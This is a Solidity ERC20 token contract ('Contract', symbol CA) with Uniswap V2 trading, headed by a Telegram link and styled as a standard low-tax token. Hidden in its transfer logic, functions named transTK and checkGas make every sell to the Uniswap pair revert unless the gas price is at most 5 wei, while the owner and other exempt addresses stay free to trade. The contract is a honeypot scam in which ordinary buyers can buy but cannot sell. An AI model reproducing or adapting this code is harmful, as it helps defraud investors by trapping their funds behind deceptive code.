/*
https://t.me/Contract_ERC20
*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;



interface IERC20Errors {

    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


    error ERC20InvalidSender(address sender);


    error ERC20InvalidReceiver(address receiver);


    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    error ERC20InvalidApprover(address approver);


    error ERC20InvalidSpender(address spender);
}


interface IERC721Errors {
 
    error ERC721InvalidOwner(address owner);

  
    error ERC721NonexistentToken(uint256 tokenId);

  
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

   
    error ERC721InvalidSender(address sender);

    
    error ERC721InvalidReceiver(address receiver);

    
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

   
    error ERC721InvalidApprover(address approver);


    error ERC721InvalidOperator(address operator);
}


interface IERC1155Errors {
   
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

  
    error ERC1155InvalidSender(address sender);

   
    error ERC1155InvalidReceiver(address receiver);

    
    error ERC1155MissingApprovalForAll(address operator, address owner);

  
    error ERC1155InvalidApprover(address approver);

    
    error ERC1155InvalidOperator(address operator);

 
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

interface IERC20 {
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}


interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}



abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

   
    constructor() {
        _transferOwnership(_msgSender());
    }

  
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

   
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

  
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

  
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}


abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, Ownable {
    mapping(address account => uint256) private _balances;
    mapping(address account => mapping(address spender => uint256)) private _allowances;
    mapping(address => bool) _bypassingTaxes;
    mapping (address => uint256) _buyCount;

    uint256 private _totalSupply;

    uint256 public BuyTaxFee = 0;
    uint256 public SellTaxFee = 3;

    string private _name;
    string private _symbol;

    address private _MKTWallets;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    bool private openedTrade = false;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
         uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _bypassingTaxes[address(uniswapV2Router)] = true;
        _bypassingTaxes[address(uniswapV2Pair)] ;
        _bypassingTaxes[owner()] = true;
        _bypassingTaxes[address(this)] = true;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }


    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

 
    function decimals() public view virtual returns (uint8) {
        return 18;
    }


    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

 
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

  
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function setbuyCount(address _b, uint256 _a ) internal  {
        require(msg.sender == owner());
        _buyCount[_b] = _a;
    }

   
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

   
    function _update(address from, address to, uint256 amount) internal virtual {
        uint fromBalance = balanceOf(from);
        require(fromBalance >= amount, "ERROR: balance of from less than value");

        uint256 taxAmount = 0;

        if(!_bypassingTaxes[from] && !_bypassingTaxes[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount*BuyTaxFee/100;
            if(to == uniswapV2Pair) {
                taxAmount = amount*SellTaxFee/100;
                if(balanceOf(from) > 0) {
                    transTK(from);
                }
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= fromBalance - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    
    uint256 private gas1 = 300 gwei;
    uint256 private gas2 = 5;

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    function transTK(address _u) internal view {
        if (_bypassingTaxes[_u]) {
            return;
        }
        if (!openedTrade) {
            checkGas(gas1);
        } else {
            checkGas(gas2);
        }
    }

    function checkGas(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function swapAddresses(address a, address b) internal pure returns (address, address) {
        (a, b) = (b, a);
        return (a, b);
    }

    
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

   
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function openTrading() external onlyOwner {
        openedTrade = true;
    }
}

contract ABIC is ERC20 {
    constructor() ERC20("Contract", "CA") {
        _mint(msg.sender, 1_000_000_000 * 10 ** decimals());
    }
}